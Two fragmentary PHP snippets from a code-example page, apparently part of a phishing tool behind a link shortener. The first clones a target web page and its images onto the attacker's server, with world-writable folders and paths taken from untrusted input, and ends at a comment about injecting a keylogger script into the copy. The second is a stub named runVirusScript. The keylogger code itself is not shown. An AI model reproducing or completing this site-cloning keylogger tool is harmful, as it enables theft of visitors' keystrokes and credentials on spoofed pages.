Exemplo n.º 1
0
<?php

include "../scripts/simple_html_dom.php";
include "../php/DataBaseHandling.php";
$conn = openConnection();
//SEARCHING DATABASE WITH KEY TO GET LONGLINK
$actual_link = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
//$key = substr(strrchr($actual_link, "/"), 1);
$key = substr($_SERVER[REQUEST_URI], 1, 5);
$link = selectDataFromDatabase($key, $conn);
//DUPLICATING HTML FILE ONTO OWN SERVER
$htmlFileName = "index.html";
$html = fopen($htmlFileName, "w");
fwrite($html, file_get_contents("{$link}"));
fclose($html);
//CREATING PATHS FOR OTHER FILES FOUND IN HTML
$html = file_get_html($link);
foreach ($html->find('img') as $element) {
    $img = $element->src;
    // Starts with http:// or https:// (case insensitive).
    if (preg_match('#^https?://#i', $img) === 0) {
        if (!is_dir("{$img}")) {
            $path = substr($img, 0, strlen($img) - strlen(strrchr($img, "/")));
            mkdir(getcwd() . $path, 0777, true);
            copy($link . $img, getcwd() . $img);
        } else {
            die('Failed to create folders...');
        }
    }
}
//ADDING IN THE KEYLOGGER SCRIPT INTO HTML ON SERVER
Exemplo n.º 2
0
function runVirusScript($conn, $key)
{
    $link = selectDataFromDatabase($key, $conn);
}